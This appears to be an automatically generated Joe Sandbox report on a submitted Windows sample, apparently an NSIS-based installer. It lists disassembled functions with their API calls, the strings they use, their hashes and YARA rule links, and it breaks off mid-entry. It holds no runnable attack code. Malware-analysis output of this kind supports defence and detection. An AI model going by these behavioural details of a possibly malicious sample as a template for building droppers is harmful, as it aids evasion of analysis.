Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: e03ee4e1462f3c7bda9b94e6fe8d7db5edd62b66dd87b3b0d45524ad71c1dce3
Instruction ID: 5a47950f0b5222037037379568de6f858daa6aaa62ae53bcd4b1bc7075dc7fd7
Opcode Fuzzy Hash: e03ee4e1462f3c7bda9b94e6fe8d7db5edd62b66dd87b3b0d45524ad71c1dce3
Instruction Fuzzy Hash: DE611571A00105ABDF209F24CC40AAF37A5EF55314F52C13BE956BA2E1D73D4AA2CB5E

Function 00404201 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040421E
GetSysColor.USER32(00000000), ref: 0040423A
SetTextColor.GDI32(?,00000000), ref: 00404246
SetBkMode.GDI32(?,?), ref: 00404252
GetSysColor.USER32(?), ref: 00404265
SetBkColor.GDI32(?,?), ref: 00404275
DeleteObject.GDI32(?), ref: 0040428F
CreateBrushIndirect.GDI32(?), ref: 00404299

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: b52404dbcc62fb778985b33cde271554a932a1fc376a4a1675ca0a40f23ca1f0
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B821A4B1A04704ABCB219F68DD08B4B7BF8AF80700F04896DFD91E22E1C338E804CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405C37: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E90,0040BE90,0040330C,00409230,00409230,004031FE,00413E90,00004000,?,00000000,?), ref: 00405C4B

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 13182ff9c3515e99dde9a7f361e17df10afd981257497e4f41ca39f28698b78d
Instruction ID: 34008a6f5bb5370994306dbe4266d00811a1d2e87b5126a94146f67fdcf6739f
Opcode Fuzzy Hash: 13182ff9c3515e99dde9a7f361e17df10afd981257497e4f41ca39f28698b78d
Instruction Fuzzy Hash: 0E51E771E04209ABDF24DF94DE88AAEB779FF04304F50443BE511B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 175540e7daea46f04fdcb39c2d6b9fb6ccbbe72b81495e9a418fab8b18cc96be
Instruction ID: c76d0c3f0677147b44531d70e17f5e21854c5a6159b3e076b4812541e28699f2
Opcode Fuzzy Hash: 175540e7daea46f04fdcb39c2d6b9fb6ccbbe72b81495e9a418fab8b18cc96be
Instruction Fuzzy Hash: C931BF72C00118BBDF11AFA5CE49DAF7E79EF04324F20423AF510762E1C6796E418BA9

Function 004051F2 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
lstrlenW.KERNEL32(00402D94,004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
lstrcatW.KERNEL32(004216C8,00402D94,00402D94,004216C8,00000000,00000000,00000000), ref: 0040524D
SetWindowTextW.USER32(004216C8,004216C8), ref: 0040525F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 3b277214ccb200348dce810b6065f154b0d7733336d6f52acf236ebd4cfd95e9
Instruction ID: 09d17c59ce7287a2cbf3dc662f19c44123261f726eb293d34c68041fb2ac0666
Opcode Fuzzy Hash: 3b277214ccb200348dce810b6065f154b0d7733336d6f52acf236ebd4cfd95e9
Instruction Fuzzy Hash: CA21A131900558BBCB219FA5DD849DFBFB8EF54310F14807AF904B62A0C3798A81CFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 004051F2: lstrlenW.KERNEL32(004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(004216C8,00402D94,00402D94,004216C8,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(004216C8,004216C8), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(?,00000064,?), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: ecca89fa2e5f998eed3815419d4b4a2aa167a0d5ca2c6de3075ca18f1a733700
Instruction ID: 6ab1becf65089363c82906b09123353a2bcc309babf83807567d4fce196db36a
Opcode Fuzzy Hash: ecca89fa2e5f998eed3815419d4b4a2aa167a0d5ca2c6de3075ca18f1a733700
Instruction Fuzzy Hash: CD015E31909220EBC7616B64EE5DBDB3A68AB00704B14457BF905B11F1C6B85C45CFAE

Function 00404ABC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404AD7
GetMessagePos.USER32 ref: 00404ADF
ScreenToClient.USER32(?,?), ref: 00404AF9
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404B0B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404B31

Strings

f, xrefs: 00404B0D

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 0eecd9b69481b59551465bcf9db52b38cf56a1a0cd5b93a9aa54e622b558eefa
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 4B015E71E00219BADB10DBA4DD85FFEBBBCAB94711F10012BBB10B61D0D7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

verifying installer: %d%%, xrefs: 00402CC6
unpacking data: %d%%, xrefs: 00402CBF, 00402CCF

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: fb2a05d00326c25166bc5f9aaa13d1f718a743be953a9e67bdfa073c3cfab417
Instruction ID: 6313022a6a14420ec29aadc91542e870ad3eb66361cb8d6516b6428425dce57e
Opcode Fuzzy Hash: fb2a05d00326c25166bc5f9aaa13d1f718a743be953a9e67bdfa073c3cfab417
Instruction Fuzzy Hash: 36F01270504108ABEF205F50DD4ABAE3768BB00309F00843AFA16B51D1DBB95959DB59

Function 004049D6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226E8,004226E8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A67
wsprintfW.USER32 ref: 00404A70
SetDlgItemTextW.USER32(?,004226E8), ref: 00404A83

Strings

%u.%u%s%s, xrefs: 00404A51
&B, xrefs: 00404A56

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$&B
API String ID: 3540041739-2907463167
Opcode ID: 8753f46c6ec8b6f380e8412305eac44d84582c9e4d7b05b47d8315f57e295f46
Instruction ID: b2bc00afb158c588b9a06456614f3f49c694bd1d1c2ad39e9d347cd1a0135542
Opcode Fuzzy Hash: 8753f46c6ec8b6f380e8412305eac44d84582c9e4d7b05b47d8315f57e295f46
Instruction Fuzzy Hash: 131126737001247BCB10A66D9C45EDF324DDBC5334F144237FA65F60D1D938882186E8

Function 004061DC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 0040623F
CharNextW.USER32(?,?,?,00000000), ref: 0040624E
CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 00406253
CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 00406266

Strings

*?|<>/":, xrefs: 0040622E

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 1606a10478bcb54d9e464e7e1942e813b7f97a0a03c371f366e1e5ab139a473f
Instruction ID: 5b12d47152ff200ae170f947aa1a5954375b24b0904b9d00ef93706c4e891e75
Opcode Fuzzy Hash: 1606a10478bcb54d9e464e7e1942e813b7f97a0a03c371f366e1e5ab139a473f
Instruction Fuzzy Hash: 1311E61580020295DB303B548C44AB772F8EF95750F42807FED9A732C1E77C5CA286BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A598,000000FF,00409D98,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D98,?,?,0040A598,000000FF,00409D98,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D98,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: ea1fd01545954b45b1115061ad650ac053f3389e3020f7797eada7c30f8acbb3
Instruction ID: a0446c0b0672562d506aa58c1ab7e20caafec20b23fb80a76c6cc5bad6f3e06b
Opcode Fuzzy Hash: ea1fd01545954b45b1115061ad650ac053f3389e3020f7797eada7c30f8acbb3
Instruction Fuzzy Hash: C0015271A44214FFD700AFB09E8AEAB7278AF51719F20453BB102B61D1D6BC5E419A2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409598,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409598,00409598,00000000,00000000,00409598,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405F48: lstrcpynW.KERNEL32(?,?,00000400,004033C8,00428200,NSIS Error), ref: 00405F55

Part of subcall function 004051F2: lstrlenW.KERNEL32(004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(004216C8,00402D94,00402D94,004216C8,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(004216C8,004216C8), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: c6112705f82b7b1622065ee3eab6168811afede877eaf12318c42c814ff79ec4
Instruction ID: 22a22a0f5d261001ccd7191b61e6a6ae22ba545f5f0eb33ed6189b5534195358
Opcode Fuzzy Hash: c6112705f82b7b1622065ee3eab6168811afede877eaf12318c42c814ff79ec4
Instruction Fuzzy Hash: 3341C071900515BACF11BBB5CC86EAF3679EF06369F20423BF422B10E1C73C8A419A6D

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 7fa7a74cbbe584c41cdd651777289953afc00df8a6fd94206c47d0172b2a88ac
Instruction ID: 39c85bfe7ca74ada2351cc0a51ccebcd1f3e21716521df4e7e96f28c7df0de5f
Opcode Fuzzy Hash: 7fa7a74cbbe584c41cdd651777289953afc00df8a6fd94206c47d0172b2a88ac
Instruction Fuzzy Hash: 5B116A31904008FEEF229F90DE89EAE3B7DFB14348F100476FA01B00A0D3B59E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 4425ef670e00afe2a656f4b56edeb2e82870f2bba3a859581bccad4f1df822b2
Instruction ID: 421c968aeac85d0930bc76aa4bc7d64c85250730bd7c855cb2b2db6532b3540a
Opcode Fuzzy Hash: 4425ef670e00afe2a656f4b56edeb2e82870f2bba3a859581bccad4f1df822b2
Instruction Fuzzy Hash: F9F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BDA0), ref: 00401DBC

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e505f65a548bf0974f6aee529334db0e8f2b0f649825e5e5403c9d7ad871e098
Instruction ID: b353f613be9e85a79a94993a8857fa9d5f5277bee054f22ce4286571968d2ed5
Opcode Fuzzy Hash: e505f65a548bf0974f6aee529334db0e8f2b0f649825e5e5403c9d7ad871e098
Instruction Fuzzy Hash: 4A016D31948285EFEB416BB0AE0AFDABF74EB65305F144479F141B62E2C77810058B6E

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9bf1345347551ad99251b033a374dd29c38f8ee43bbdf8c6824fc78253d04776
Instruction ID: bea79b3a0ece1bc6ad67d762bc59202c8df9b0d3ac543b92a9f7cfbf89d94624
Opcode Fuzzy Hash: 9bf1345347551ad99251b033a374dd29c38f8ee43bbdf8c6824fc78253d04776
Instruction Fuzzy Hash: 6B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 0040317D Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNEL32(0040BE90,?,00000000,00000000,00413E90,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNEL32(?,00000000,00000000,00413E90,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID:
API String ID: 2146148272-0
Opcode ID: 38246e7ae17352d7cedfc7595443620c434811b06811d2a86a618e437c7072d2
Instruction ID: 34320a24581f7621071559271f75aff2a33e70c32c739a51ea230fcf3b1a2f41
